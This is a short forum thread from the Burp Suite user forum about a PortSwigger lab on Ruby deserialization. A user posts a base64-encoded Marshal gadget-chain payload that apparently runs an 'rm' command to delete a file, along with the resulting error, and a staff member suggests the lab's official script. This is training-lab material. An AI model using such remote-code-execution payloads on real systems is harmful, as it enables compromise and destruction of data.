The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Exploiting Ruby deserialization using a documented gadget chain

danBogom | Last updated: Apr 27, 2022 11:18PM UTC

Hey I got another problem with deserialization lab. I generate payload with this exploit https://github.com/j4k0m/Ruby2.x-RCE-Deserialization/blob/main/generator.rb, it's similar which you provide in lab solution link https://www.elttam.com/blog/ruby-deserialization/ But I got an error: <p class=is-warning>sh: 1: reading: not found index.rb:13:in `load&apos;: dump format error(0x0) (ArgumentError) from -e:13:in `&lt;main&gt;&apos; </p> My payload: BAhVOhVHZW06OlJlcXVpcmVtZW50WwZvOhhHZW06OkRlcGVuZGVuY3lMaXN0BzoLQHNwZWNzWwdvOh5HZW06OlNvdXJjZTo6U3BlY2lmaWNGaWxlBjoKQHNwZWNvOhtHZW06OlN0dWJTcGVjaWZpY2F0aW9uCDoRQGxvYWRlZF9mcm9tSSIgfHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0BjoGRVQ6CkBkYXRhMDsJMG87CAA6EBkZXZlbG9wbWVudEY=

Ben, PortSwigger Agent | Last updated: Apr 28, 2022 05:23PM UTC

Hi Denis, Does this work for you if you adapt and use the script mentioned in the written solution (the script written by vakzz hosted on devcraft.io)?

danBogom | Last updated: Apr 28, 2022 06:39PM UTC